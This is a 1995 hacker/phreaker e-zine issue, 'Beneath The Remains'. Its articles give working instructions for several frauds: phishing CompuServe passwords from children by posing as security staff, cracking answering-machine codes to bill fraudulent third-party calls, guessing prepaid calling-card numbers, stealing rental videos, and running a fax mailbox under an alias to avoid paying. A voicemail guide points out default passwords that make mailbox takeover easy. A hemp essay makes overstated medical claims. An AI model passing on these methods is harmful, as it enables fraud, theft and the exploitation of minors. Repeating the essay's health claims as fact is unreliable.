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┌───────────────────────────────────────────────────────────────────────────┐ │ │ ┌┬─┐ ┌┬──┐ ┌┬─┐ ┐ ┌┬──┐ ┌┬──┐ │ ┌┐ ┐ ├┼─┴┐ ├┼─ ├┤ │ │ ├┼─ ├┼──┤ ──┼── ├┼──┤ └┴──┘ └┴──┘ └┘ └─┘ └┴──┘ └┘ ┘ │ └┘ ┘ ┌─┬┬─┐ ┌┐ ┐ ┌┬──┐ ├┤ ├┼──┤ ├┼─ └┘ └┘ ┘ └┴──┘ ┌┬──┐ ┌┬──┐ ┌┬─┬─┐ ┌┬──┐ ┌┬─┐ ┐ ┌┬──┐ ├┼─┬┘ ├┼─ ├┤ │ │ ├┼──┤ o ├┤ │ │ └┴─┬┐ └┘ └ └┴──┘ └┘ ┘ ┘ └┘ ┘ I └┘ └─┘ └──┴┘ Magazine This phile dated 01/16/1995 Martin Luther King, JR's Birthday Will There Be Another Big Bell Crash Today? Volume 7 │ You can always find BTR on PsychoTron BBS OR AWoL (518) 383-1369 │ └───────────────────────────────────────────────────────────────────────────┘ File : BTR-07.DOC Crew Of Editors: Substance - Head Honcho -=- Master Programmer -=- substance@globalone.net Roak Kill (RK) - Founder & Shit Treason - The Demon Knight -=- Head Of Format -=- treason@globalone.net Editors VMBs : (These will be updated as they go down) Substance - [800] 775-0728 No Extension, Direct VMB Treason - [800] 775-0712 Extension : 1688 BTR Box - [800] 775-0712 Extension : xxxx Road Kill - None That We Know Of Disclaimer: BTR, it's Editors and writers take no responsibility for the information you learn from this mag. So blame it on someone else if you get in trouble! BTR HQ Sites : WHQ - Another Way of Life [AWoL] 518-383-1359 HQ - PsychoTron BBS Systems [PBS] 919-PRI-VATE FTP - ftp.winternet.com [/users/craigb/btr] Add : Need A VMB? Well we here at BTR would be more than happy to setup just about anyone a 800 VMB free of charge. Although we wood except something or somethings in return. Not calling cards but access to private boards, PBXs, internet account, you know small things like that. But we don't guarantee your VMB will last that long. We have given some that have lasten 12 months, some 1 week. It's like New York lottery, "Hey, You never know." Exec ┌─────────────────────────────────┐ Writers : │ Substance │ Treason │ Road Kill │ └─────────────────────────────────┘ Writers : ┌────────────────────────────────────────────┐ │ Stomp Box │ Spoonman │ Pliny The Elder │ │ Ghostrider│ Anarchist │ Lizard Rock │ │ Morpheus │ Phive │ Twisted Image │ │ Labotomy │ Firebug │ Viper │ │ Ser │ Ice-9 │ Malvolent Trickster│ └────────────────────────────────────────────┘ Beneath The Remains : - Table of Contents - ARTiCLE 1 of 14 [*] The All New BTR Magazine, Editors Note - Substance ARTiCLE 2 of 14 [*] Hacking Compu$erve - Road Kill ARTiCLE 3 of 14 [*] Why The Hell Should Hemp Be Legalized? - Pliny The Elder ARTiCLE 4 of 14 [*] Hacking Various Answering Machines - Substance ARTiCLE 5 of 14 [*] Prepaid Calling Cards - Treason ARTiCLE 6 of 14 [*] Renting Movies & Video Games For Free - Treason ARTiCLE 7 of 14 [*] An Introduction To Delrina Fax Mail - Treason ARTiCLE 8 of 14 [*] The Guide To The IVX500 VMB System - Treason ARTiCLE 9 of 14 [*] My Allnet Discovery - Treason ARTiCLE 10 of 14 [*] System 75 Defaults - Ser ARTiCLE 11 of 14 [*] A Simple MCi Code Hacker In Qbasic4.5 - Substance ARTiCLE 12 of 14 [*] Some 518-489 Scans - Substance ARTiCLE 13 of 14 [*] BTR Shorts - The Whole World ARTiCLE 14 of 14 [*] BTR News & Shit Like That - Crew Of Editors [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] <.ARTiCLE.1.> ───────────────────────────────────────────────────────── │The All New Beneath The Remains Magazine / Editors Note│ ───────────────────────────────────────────────────────── by The Crew Of Editors Happy fucking new year. And welcome to the new and improved issue of Beneath The Remains online zine. BTR, a local 518 magazine, which is always here to provide readers with illicit info, ranging from Pyroteknix, Phone Phreaks, and Hacking to Frauds and ways to get cool stuff for free. We the editors at BTR are here to help you do cool stuff, and it is hard to keep up with the times and keep the articles flowing. So please send in ANY articles to AWoL [518-383-1369] pretty much anything you send in will be printed, ranging from frauds to how to get laid on the first date. Hope you enjoy the mag. And if you are going to distribute this mag and add your bbs file or group app or some shit like that don't make it too big and if theres that shit already in your issue of BTR please feel free to delete it. We don't want this mag too big to dload so don't add to much. Here are some perks if you want to become a writer: Access to special writers-only teleconferences, access to special sections on AWoL BBS, you get to see your name in this magazine, and much much more. If you want to become a executive writer you get all of the above plus your own personal VMB. To become an exec writer you have to write a lot of shit and help out a load. [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] <.ARTiCLE.2.> ─────────────────── │Hacking CompuServ│ ─────────────────── by Road Kill This one beats all the other pussy texts on hacking compusrv.. Those other ones are soo lame, with like 50 extra bbs ad's, to make it about 1 meg, when the text file is only about 10k... Well fuck that, do this, I can garuntee that you'll get some GREAT accounts. This method will stretch out your Social Engeneering Capabilities. (Basically bullshit lamers into their passwords) 1st get a fake trial account there.. Just take a form out of a new modem box and get the free compuserv for a month deal, form.... Oh yea, to use those you'll need weird shit like a bank routing #, transit #, check #, bank name/#..... Also the other basics like 1.> Real fake name 2.> Real fake address 3.> Real fake city/st/zip 4.> Real fake phone #/data # Call up compusrv and once your all logged on type 'go cb' when you get logged into the CB simul8r. When your on the CB goto the general band, then I belive it is channel 17 (Teen Dorks). On there, when it asks for your handle, you will want to say a handle then [HELPER]. Use MIRROREYES, some dork i've scammed about 1 million accounts with. (yeah he is a real guy). So it would be MIRROREYES[HELPER] all in caps like so. Once on the teen channel, well you know how they are always saying shit like 16/f and 10/m... Well find some gullable 14/f or 10/m and (lets say there channel is #10) the conversation would go something like this: You : Hello, this is Joe Crawford, from Compuserve Security Department, wing 19, we are sorry to inform you, but there are security breaches on your account Dork : Oh really? Like what You : Well have you been using your account extensively for many hours at a time, for the last 3 weeks? Dork : No... Ive been away You : Ok, well, we can set you up with a new ID and Password, but first We need to verify some information from you Dork : Shoot You : Name, Address, City, State, Phone, ID (even tho its in front of you), PW Dork : Felix Johnson, xxx, xxx, xxx- 75053,1122 - PW: cleanse*butthead You : Ok, thank you Felix, that information has been verified, you will get a form in the mail, within the next 4-6 weeks confirming your new account. Until then, you have a security block on your account. NO one can call except from your phone # Dork : Great thanx. E*O*Conversation You'll have that account for about 2 - 3 months before they catch on the bill is twice as much as it should be [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] <.ARTiCLE.3.> ──────────────────────────────────────── │Why The Hell Should Hemp Be Legalized?│ ──────────────────────────────────────── by Pliny The Elder I believe that marijuana should be legalized. It has proven medical uses, and has proven to be the "safest" mind altering substance you can put in your body. Marijuana has uses for commercial, medical, and individual interests. Marijuana is an Indian hemp plant which can grow just about anywhere and has been found growing in Arctic regions, the rain forests, and even in city dumps. It's scientific name is cannabis sativa which comes from the Latin word for hemp and sativa which means planted or sown (Leiberman 32). Marijuana was illegalized in 1937, for mostly political reasons (The Benefits of Cannabis 1). Hemp is a renewable natural resource that yields the raw materials essential for more of our necessities and convinces than any other crop. Hemp grown on land in the United States that is not currently forested or used for agriculture can meet all of our oil and gas fuel needs. Twelve to thirty-eight million acres of hemp would provide enough fuel for all of our transportation use. This would mean $0.60 to $1 per gallon fuel cost to the end user. One ton of American grown hemp can be converted to more than two barrels of methanol. It is estimated that marijuana can yield ten to thirty tons per acre. Using hemp to generate fuel has several advantages over current fuels. Hemp, unlike petroleum, is grown as a crop, so it's a renewable energy source. All fuel products produce carbon dioxide when burned. Some argue that carbon dioxide is contributing to the "greenhouse effect" which is gradually warming the planet. Marijuana is a fast growing crop which effectively converts carbon dioxide back to oxygen (America's Family Farms). Charcoal, pyrolitic oil, gas, or methanol can be produced from cannabis hemp. Burning charcoal does not cause acid rain (Pulp & Paper 7). Marijuana is one of the best cash-crops that a farmer can grow. It is a rugged plant which has strong roots that help to anchor the soil to prevent erosion. Is requires less water, fertilizers and pesticides than do other food and cash crops like corn, cotton, and tobacco. Hemp leaves drop throughout the growing season, helping to add to the fertile topsoil and helping the soil retain it's moisture. Depending on how closely together the seeds are sown, hemp can help protect seedlings, or block sunlight to eliminate weeds. Hemp is also a good crop to rotate with other crops, since it helps fertilize the soil, and doesn't require a lot of chemicals which poison the earth (America's Family Farms). Cannabis hemp is the longest, most durable, and longest lasting natural fiber known to exist on the Earth. Ninety percent of all ship sails were made from hemp fibers since the birth of Christ until the 1930's. Virtually all canvas paintings were painted on cannabis hemp linen canvas. Ninety percent of all rope and twine was mode from cannabis hemp until 1937 (The Benefits of Cannabis 1). Seventy-five to ninety percent of the world's paper manufactured before 1883 was mode from hemp fiber, including the first two drafts of the Declaration of Independence. In 1916, the United States Department of Agriculture predicted a papermaking future for portions of the hemp stalk. They stated "Hemp hurd stock acts similarly to soda-poplar stock, but will produce a somewhat harsher and stronger sheet and one of higher folding endurance." A three page article appeared in the February 1938 issue of Popular Mechanics entitled "The New Billion Dollar Crop" which described a breakthrough in removing the fiber-bearing cortex from the rest of the hemp stalk. The article stated "If federal regulations can be drawn to protect the public without preventing the legitimate culture of hemp, this new crop can add immeasurably to American agriculture and industry." Hemp can produce four times the amount of paper per acre than 20 year old trees and will grow anywhere in the 48 contiguous states (Pulp & Paper 7). For more than 3,500 years marijuana has been one of the most widely used drugs in oriental medicine. From 1842 to the 1880's, marijuana was one of the most often used drugs in the United States to treat the illnesses of adults and children. Recent research (1966 through 1976) reconfirms marijuana to be the medicine of choice for glaucoma, epilepsy, muscular spasms, reduction of tumors, control of nausea in cancer chemotherapy, emphysema, migraine, depression, and anorexia nervosa. Ninety percent of glaucoma victims can benefit from the use of marijuana. Marijuana is two to three times as effective as any currently legal medicines for reducing ocular pressure, without toxic side effects associated with legal glaucoma drugs. Marijuana is also one of the best dilator of the bronchi and bronchoiles, opening them up to allow more oxygen into the blood Medical research indicates that light marijuana smoking would be the therapy of choice for mild emphysema to allow more fresh areas of the bronchi to open up for more oxygen transfer. All research into the oxygen transfer effects caused by marijuana indicates that chest pains, shallowness of breath, headaches, etc. which are symptomatic of heavy smog exposure are usually alleviated by light smoking of marijuana throughout the day. Marijuana is the best natural expectorant to empty the lungs of smog. It's estimated that marijuana would replace more than fifty percent of Valium, Librium, and Stellazine. Marijuana is currently the best way known to dry one's mouth for dentistry; and if legal would replace the highly toxic Probanthine. Marijuana is also the best relaxant and back spasm medicine available short of morphine (The Benefits of Cannabis 2-3). Even if the beneficial effects of marijuana are ignored for a minute, the question of legalization is still an easy one. No government, federal, state, or local has any right to tell any man what he can or can not do to his body. It is possible that the government has a responsibility to educate the public about substances that might be harmful to them. It might even be arguable that governments have a right to protect people from dangers that they can not perceive, such as dangers from a pesticide. Instead of letting the populace decide for themselves, the United States government is deciding for them. The government is saying that they don't trust John Q. Public to make up his own mind, and that they must remain every vigilant over him to protect him from every possible harm in the world. The United States Government apparently doesn't want a free thinking society where people can make up their own minds. Aspirin causes hundreds of deaths a year. During the entire record of human existence, not a single death has been caused by cannabis (Young 1). The benefits of legalization of cannabis sativa are nearly innumerable. There has not been a single death related to hemp in all of recorded history. What possible reason can anyone give to deny the citizens of the United State's right to use God's great gift to the fullest? Sure, the chronic smoker won't get a completely free ride, but they know that and it is their decision. Hemp must be legalized for commercial and medicinal purposes and the purposes of the individual. Who will deny the human race the great benefits that can come from this mighty herb? Works Cited The Benefits of Cannabis. Peacenet, 1992. Leiberman, John S. Plants that grow Wild. New York: Prentice Hall, 1984. The Proven way to Save America's Family Farms. California: Business Alliance for Commerce in Hemp, N.d. Young, Francis L. Cannabis/Marijuana's Accepted Safety for Use Under Medical Supervision. New York: N.p., 1988. Young, Jim. "It's time to reconsider hemp." Pulp & Paper June 1991: 7. [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] <.ARTiCLE.4.> ──────────────────────────────────── │Hacking Various Answering Machines│ ──────────────────────────────────── by Substance --------------------------------------------------------------------- Welcome to the wonderful world of answering machine hacking, to start ill first tell you a bit about what the hell the purpose of hacking answering machines is. Here is some purposes : 1 Free Calls (3rd party) 2 Chicks Dig It 3 You can use it as a code line To find an answering machine, you need the IQ of a dog (in other words Coventry, dont bother). Once you find it, and start hearing the message hit *, if that works and it brings you straight to the BEEP, then krad, yer set.. If not, dont bother hacking it, it wont even let you access it remotly. A good answering machine to hack is (518)383-1111 Jesus, i must have cracked that guys code 400 times, everytime he'd change it, id get it :> Now most answering machines are only 2 digit passwords, some 3, and a very tight security (which really isnt needed for an answering machine) would of course be 4 digits... Once you hear the beep to start recording, start with 00, dial like this (Oh yeah, a big button phone for blind people is suggested for this way) Pattern for haking ans. machinez -------------------------------- 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 .................... 99 Keep listening closly to the earpeice while you dial these.. You should hear another beep, then the messages that were previously recored playing backwards After a few sex, if you hit a good one, it will have a audiomated voice, spi- tting out options. Like * for help, 1 to hear messages, 2 to delete messages, 3 to Change outgoing announcment, 4 to logout (Alltho not in those exact werds) Heres where the making free calls comes in... Hit the number that you hit to change outgoing announcment, when you hear another BEEEPPP then say EXACTLY this. ' Operator I except all 3rd party and Collect Calls ........ Hi this is <name> at <the # of the hacked house> please leave a message ' Then it will save (usually, unless told otherwise, Earlier)... The very great thing about this shit is, that if you call the operator and say 'Id like to make a 3rd party call to (npa)xxx-yyyy, my name is Rick' They will call and say 'The party verified, thank you for abusing AT&T <click> ' Whala Yer connected 4 free.. Even tho there bill will say '3rd party bill from (yer)num-ber to (cal)led-party' You CANNOT and i repeat CANNOT get introuble, say you didnt do it, AND even if they prove it, THEY ACCEPTED, what the fuck can they do!?!?!?!? You can use it as a code line, if its 8oo, which are kinda hard to comeby, but still cool Enuf with this.... [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] <.ARTiCLE.5.> ────────────────────────────────────── │An Overview Of Prepaid Calling Cards│ │ First Release │ ────────────────────────────────────── ┌─│────────┐ by ──┼──reason│ {518} └─│────────┘ Lately in the past few months or so I have noticed a rather large ammount of Prepaid Calling Cards being distributed. A Prepaid Calling Card is A Calling Card that all you do is pay for it and it has a special ammount of time slotted. I thought this would be a particularly useful topic to write about since it can aid all phreaks and hackers. Lets say I went to Joe Store and gave them $15. In return I would most likely recieve a 10 or 15 minute call card. In this article I am going to focus on mainly a few that I happen to know some about. I have only seen PCCs in intervuls of 7, 10, 25, 30, and 90 minute cards. And all of these cards have 1 thing in common. An annoying as hell bitchy voice comes on when theres one minutes left on your PCC and tells you that. That fucks up any modem connection if any. Plus all of these service are open 24/7. Theres a new company called Talk 'N Toss. They are offering 30 minute and 90 minute call cards to resalers. So if you wish to place an order to sell them at your business dial their customer service toll-phree hotline. (800) 631-8895. Plus i'm sure you can SE the lady into getting free cards. I've done it once so it can be done. This call doesn't appear on your phone bill. They say it saves 38% from a normal AT&T Call Card. I have seen these selling only two places. The first is a grocery store in Colorado called Albertsons. I don't know if this grocery store is only in Colorado, but thats just where I have happen to run across it. The other is Revco drugstore formerly Brooks. They have 10 minute card for $3.99 and a 20 minute card for $9.99(?) and a 30 minute call card goes for $9.99 there, and a 90 minute phone card goes for a whopping $24.99. Deal or not? If you want to fuck with 'em call (800) 213-0304, in the form XXX-XXX-XXX. With the customer service # at (800) 354-2708. Marvel Comics and Kay-Bee toys have put together a deal to sell 20 minute X-Men calling cards. They have 4 so called limited edition cards with some wussy's fighting on the front. On the back there is a card and a scratch off area to see the card number. To further expirement call (800) 616-8883. The cards are 9 digits long. Champs Sporting Goods Store has a new deal where if you purchase over $35 worth of shit you get a free 7 minute call card. 7 minutes basically ain't worth shit. But for some things it is. The number is (800) 437-6404. The cards have 9 digits in the form : XXX-XXX-XXX. Randomly inserted into Classic 4-Sport, sports cards are Sprint 100,000 Prepaid FoNCARDS. Now what the fuck would some baseball card do with a Prepaid FoNCARD? I still haven't figured it out. But Sprint has some deal with Classic Games Inc. The odds of finding a Sprint FoNCARD is 1:72. I don't know for how many minutes they are for or how many digits they are. But If I find anything I'll keep you posted. Again Classic is trying to offer something to the collector again. But this time it's about real money. Not opening a $1.50 pack of cards. They're now offering 1, 5, 10, 20 and 1000 dollar cards to dealers. These are such hot commodities that the prices double every quarter! So I asked some ripoff artist what the deal was on getting it he said for a $1000 card you must pay a $750 downpayment with a max order of 1. But the rest you have to order 18 cases of the rest to order them wholesale. That's 108 cards a case. But I'm sure you can find them singular. Try looking in your local sports page for adds for Sportscards conventions. Attention sports fans once again. GTE is offering 25 minute call cards that look like actual calling cards. But these cards you can order with any proffesional football team helmet logo on the front of it. They call these "NFL Collectibles". But the minimum order is 2 cards. Plus then they send you a 5 minute bonus card that features helmets from all 30 NFL teams. To order each card is only $14.75 but you have to get 2. Call 1-800-GTE-3804 in the US. And outside the US call (303) 743-4138, extension 712. Or just fax (303)-727-4994. You must order these with a credit card. I saw this add in Sports Illustrated. Hallmark is also working with Sprint to rip you off for the Christmas season. They have 10 minute call cards which are poly-wrapped inside greeting cards. Now for the Christmas season they have tighter wrapped Christmas Call Cards. These sell for $5.95 at you local Hallmark store. But I happen to like these cards the best since they're easier to ripoff. Go ahead hack some. (800) 504-1115, or for the same plus a Happy Holidays greeting call (800) 203-1225. Either way it works. They are 10 digits in the form : XXX-XXX-XXXX. Their customer service/questions toll-phree hotline is (800) 516-2121. You can only call US plus US territories. Pepsi Cola company is the stupidest asses for printing the phone # for their calling card system on the back of any 12 pack box. Pepsi offers the shitiest cards but spent the most on advertising. They have a 5 minute calling card randomly inserted into Pepsi Holiday 12 packs. So just call up s(800) 929-COLA or (800) 929-3652 (same) and it says "Enter Your 14 Digit Code". It's just asking to be ripped off. But if you think a Hallmark 10 minute card isn't worth it then fuck this idea. 7-11 the slurpee guys are now working with AT&T to bring you their 7-11 Phone Cards. It's supposed to save 50% or more. Now I know this is a big crock of shit. On the brochure it shows a data table comparing a 3 minute call from LA to NY. It says a 7-11 Phone Card is $1.00, Collect Call is $3, a Payphone is $2.70, and a Call Card is $1.70. I know when I call LD it's only like 15 or close to the cents a minute, not this ripoff. They are available in 15, 30 or 60 minute cards. I found a nice sales pitch on the brochure. It says "After your time is used up, the card becomes inactive and you just buy a new card!", yeah right. With this card unlike the Hallmarks you can call international. But this call must originate from within the US. But since international rates vary a 15 minute card could only be 5 minutes. They don't actually give you that ammount of time. It depends where you call. It's just setup so you have a certain ammount of money credit and once that's used fuck how many minutes are left your time is up. Remember when you want a 7-11 card it is always best to ask for Habib. Here is a list of those #'s and how many digits your supposed to use. Talk n Toss Customer Service (800) 631-8895 Talk n Toss/Revco Cards (800) 213-0304 - 10 Digits Talk n Toss/Revco/CS (800) 354-2708 X-Men/Kay Bee Toys (800) 616-8883 - 9 Digits Champs Sporting Goods (800) 437-6404 - 10 Digits Pepsi (800) 929-CoLA - 14 Digits Hallmark/Sprint (800) 504-1115 - 10 Digits Hallmark/Sprint/Holidays (800) 203-1225 - 10 Digits Ordering GTE Football Cards (800) GTE-3804 Ordering GTE In 303 NPA (303) 743-4138 Ordering GTE In 303 NPA Fax (303) 727-4994 [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] <.ARTiCLE.6.> ─────────────────────────────────────── │Renting Movies & Video Games For Free│ ─────────────────────────────────────── by ┌─│────────┐ ──┼──reason│ {518} └─│────────┘ treason@globalone.net Question: So you want to be able to go to just about anyvideo store or grocery store and get some free movies and video games that are NEVER due back? Answer: Hell Yeah, read on. There are 2 ways to pull this one off. At places where you either : <.1.> Return Videos To Countertop <.2.> Return Videos Through Dropslot <.3.> Stand Outside While Pretending To Work There <.1.> Return Videos To Countertop First find a place where you can rent movies or games. Video stores are the first and easiest targets. Grocery stores are up there to. You want to find a video store where when after a person rents a movie they have to set it on a countertop and a person who works there will pick it up and put it back when he/she has time. Most people who work at video stores are either bored to death or overwelmed with work. You don't want to be in a place where the clerk is watching Benji Comes Home 24/7. You want a nice quick busy paced atmosphere. Now the good part. When a person finished their movie/game and set it on the counter the person has go to the area to put it back. But it theres people trying to take out movies at the same time they do it once the active customer is finished. That's where you come in. Hang around a video store for a while so you get used to the atmosphere in a way. Find a good area to pretend to be looking at movies but where you can see the cashier and renter. Pick a good time. From 7PM to closing is usually one of the best. Once you have atleast a 2 person line and a pile of videos starting to build that's where you mosey on over. You don't have to be stealth just act like your looking at the videos recently dropped in. If anything looks semi-interesting just slowly move your hands with the video in them down to under the counter where the dude behind it can't see the flick you have in your hands. Now you won't get caught, turn around and walk to some other section of the store. Place the article of viewing anywhere in your clothing you want to. Then just get out. I have found this work mostly. The key thing is all in the right timing. Once you get the goods you can watch them, sell them or burn them. <.2.> Return Videos Through A Dropslot Now this method is still easy but it takes a little more brains. There are 2 kinds of dropslots. The first is a downward slot through somewhere in a counter or table where the stuff drops into a box or something. Where the second is a little door you open then drop the videos in, plus you have to be able to see the pile of videos on the bottom. In the first dropslot situation you can find something like a little piece of wood or metal you can slip in to stop videos from going all the way to the bottom. Then once they have put their shit on in you can just reach in and take 'em. Another idea is take a hanger and unfold it so it's straight and position one side so it sort of locks around one edge and wedge it down so it'll stop the flow of videos, then hook the other side to the other edge. So that will catch them also. Here is a diagram demostrating how you can fit something in to stop the flow of videos. The rectangle in the middle is the dropslot, and the thing between it is the hangar. I have it at a slant to you can better picture it. ──────────────────────────────────────────────────────────────────────────┐ │ /┌──────────────────────────────────────────────────────┐ │ / │ │ │ / │ │ │ / │ │ │ / ───┐ ┌─── │ / │ │ │ │ │ / │ │ │ │ │ / └──────────────────────────────────────────────────────┘ │ / / │ │ / │ / / │ │/ │ / / │ / │ / / │ /│ │ / / │ / │ │ │ / │ / │ │ │ / └───────────────────────────────────────────-/───┘ │ │ / / │ │ / / │ │ / / │ │┘ / │ │ ──────────────────────────────────────────────────────────────────────────┘ <.3.> Stand Outside While Pretending To Work There Get a fairly large cardboard box and write video drop on it in marker. If this store your going to victimize has nametags, then make one with an alias on it for you, or steal one. This betterly works at videostores, not really other places. I don't recomend trying this in cold weather. Stand outside and as customers walk to the door tell them that your doing a complementary service and collecting videos outside so they don't have to go inside. If they say they're going inside anyways it's best to shut your mouth, because you don't want people complaining about a fake employee. With this method collect as much as you want until you hear sirens. [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] <.ARTiCLE.7.> ───────────────────────────────────── │An Introduction To Delrina Fax Mail│ ───────────────────────────────────── ┌─│────────┐ by ──┼──reason│ {518} └─│────────┘ [──BEGIN─ADD──] Delrina Fax MailBox Add: No matter where you are, where your're headed, or what time it is, you can now be certain you'll get every fax people send you ─- even if they don't know where to find you. With new Delrina Fax MailBox service, it's easy. In fact, we're so sure you'll agree, we're going to give you one month of service and 10 fax pages free. Now, confidential and reliable fax storage is just two easy sets away. Step One: Someone needs to send you a fax, so they dial your toll-free 800 number (which we give you) and it goes. Then Fax MailBox recevies and stores it for you electronically until your ready to retrieve it. Step two: You use your PC or laptop with a fax modem and Delrina WinFax PRO 4.0 software, and retrieve your fax with a simple click of the mouse. Or use a fax machine, enter your password, and print it on the spot. It's that easy. Just think of Fax MailBox as voice mail, but for faxes. Call today and sign up for Delrina Fax MailBox and you'll start getting all your faxes ── for a change. Delrina FaxMailbox 1-800-238-8980 [──END─ADD──] Basically what this system is a VMB but for faxes. So it's a FMB. What you can do with this is have someone send your FMB a fax and you can call enter you password and retrieve it. It can be good for hackers so you can have the back and forth exchange of elite information. You can call that number for the a month free. If you register it to an alias and tell them not to call you or give them a number that's always busy. Remember this your service is only cut off when you cancel it. So your service can keep on going and going and going with bills being sent to your alias. Once I ran across a Delrina Fax MailBox number by accident, here it is. 1-800-368-9414 and then the next few numbers are assigned to it. You can try to hack the password. (That whole 1-800-369-94xx is loaded with these) Each member gets their own 800 number an operator told me. I basically know a little but this is good enough for someone to start out on. [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] <.ARTiCLE.8.> ───────── │AirFone│ ───────── by Treason [-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-]-[-] <.ARTiCLE.8.> - /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ - │ IVX500 Voice Mail Users Guide │ - \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ - by ┌─│────────┐ ──┼──reason│ [518] └─│────────┘ treason@globalone.net This is an IVX500 Voice Mail Users Guide. I know someone that recently purchased this system for his office and I got a handy manual. So I read it over and decided certain things just needed to be known. But when I told most people that I was typing this up they thought it would be close to a 6,000 page document, like a Meridian Mail. But this system is just as efficent and you will find all of the command listed below. Index <.1.> Introduction To IVX500 Voice Mail <.2.> Entering And Initialinzing Your Mailbox <.3.> Listening To And Sending Messages <.4.> Personal Options <.5.> Remote Messaging And Using The Directory <.6.> Where Can I Find This System? <.1.> Introduction To IVX500 Voice Mail The IVX500 System has a Voice Mail feature that allows callers to send and recieve recorded messages from any station or touchtone telephone. (Callers using dial-pulse phones can be routed to the operator for assistance) Stations users and outside callers reach Voice Mail in the following ways: ■ By dialing the telephone number or extension number assigned to the Voice Mail application. ■ By being transferred to Voice Mail by the automated attendant. ■ By being forwarded (using manual or system forward) to Voice Mail when a called station is unavailable. ■ By responding to message waiting indications left by Voice Mail at a station. (Not available with some telephone systems and station instruments) When you reach Voice Mail, you wil hear recorded instructions that tell you what to do next. Simply listen to the prompts and press the keypad key that corresponds to the desired choice. If you do not respond immediately, a second set of prompts is played. Most prompts are interruptible, and you can press the desired key at any time during the prompt. The prompt will then stop and the system will act on the requested choice. Each Voice Mail user can be assigned a unique Voice Mailbox number. There are three types of mailboxes: Standard, Receive-Only, and System Administrator. ■ Standard mailbox features include: listening to new messages, sending messages, forwarding messages, deleting messages, saving messages, programming personal options, and if authorized through database programming setting up remote messaging. ■ A Receive-Only mamilbox user can only listen to new messages, save or delete them, and program personal options. ■ The System Administrator has all of the Standard mailbox options, plus the ability to record and send broadcast messages, provide mailbox and group list maintenance, and record and select custom recordings. With most telephone systems, your station is signaled when your mailbox gets a message. If you have a keyset the MSG key lights and the display shows that a message ha been received. If you have a single-line set, the MSG key lights and you hear message waiting signals(ie 6 tones) when the handset is lifted. NOTE: Message waiting indications (lights, displays and signals) may not be available on certain telephone systems and station instruments. If your station has more than one associated mailbox, the message indications will continue until all messages from all associated mailboxes have been heard. However, the display does not show which mailbox has recieved the msgs. Remote Messaging can be enabled or your mailbox through database programming and set up through your mailbox. It allows you to enter the primary and set up through your mailbox. It allows you to enter the primary and/or alternate telephone number or extension number that the system will call when new messages are recieved by your mailbox. <.2.> Entering And Initializing Your Mailbox When you enter your mailbox, the system mayi play one of the following msgs. ■ MAILBOX ALMOST FULL OR FULL: If your mailbox is full, no new messages can be recieved unitl you delete waiting or saved messages. ■ MESSAGE COUNT: The system tells you how many messages are waiting to be heard, if any and how many are priority messages. ■ REMOTE MESSAGING: The system will indicate whether primary or alternate remote messaging is selected when remote messaging is enabled. It will also alert you if a programming error has been detected and/or whether it encountered busy sytem resources when attempting to place a remote messaging call. ENTER YOUR MAILBOX BY THE FOLLOWING STEPS: ── Dial the Voice Mail access number. (You hear the Main Menu) ── During or after the greeting, press * to identify yourself as a subscriber. ── Enter yourmailbox number and yoru personal password (if programmed). Then press #. IF YOUR MSG KEY IS LIT AND YOU HAVE A MESSAGE FROM VOICE MAIL: ── Press MSG ── If required, enter your mailbox number. ── Enter your personal password and press #. The first time you use your mailbox, you must initialize it (set it up). System prompts will instruct you to: ■ Change the default password number to a personal password. ■ Record a name to identify yourself in the company directory. ■ Listen to the Voice Mail application introduction. (You can't skip this introduction. If you exti without listening to it, the introduction will play again the next time you enter your mailbox. TO INITIALIZE YOUR MAILBOX: ── Dial the Voice Mail access number. (You hear the Main Menu) ── Pree * to identify yourself as a subscriber or hacker. ── Enter your mailbox number and default password. (Your default password is the mailbox number.) ── IF YOU WANT A PASSWORD, enter a new password using digits 0-9, up to 12 digits though. Then press #. Voice Mail plays back your password. If you don't want a password press #. ── Press # to accept the entry. (Or press 3 if you wish to reenter the pword) The system prompts you to record your directory name. ── After the tone, record your first and last name. When finished press #. ── Press # again to accept the name. (Or bang 1 to replay the name you just recorded without saving, or 2 to add to your name, or press 3 to erase and then rerecord it. ── The sytem then plays a prompt that introduces you to basic Voice Mail functions. (You can't skip this tutorial. If you exit without listening to it, the introduction will play again the next time your enter your mailbox) <.3.> Listening To And Sending Messages Whenever you enter your mailbox, you are told how many new and saved messages you have. TO LISTEN TO MESSAGES: ── Enter your mailbox as described on Section 2 ── EITHER, Press 1 to listen to your new messages. OR, Press 3 to listen to your saved messages. ── The system plays each message in the queue selected. While you are listening to a message, you can use the following options: ■ Press 1 to back up ■ Press 2 to pause. (Then press any key to continue.) ■ Press 3 to skip ahead. ■ Press 4 to lower the volume. ■ Press 5 to play the message envelope again. ■ Press 6 to raise the volume. ■ Press # to skip to the end of the recording. ── When the message has finished playing, you have the following choices: ■ Press 1 to replay the message from the beginning. ■ Press 2 to reply to the message. ■ Press 3 to forward a copy of the message to another subscriber, along with your introductory comments. ■ Press 4 to listen to the previous message. ■ Press 5 to play the introductory message "envelope" again. ■ Press 6 to the next message. ■ Press 7 to save the new message in your mailbox. ■ Press 9 to delete the message from your mailbox. 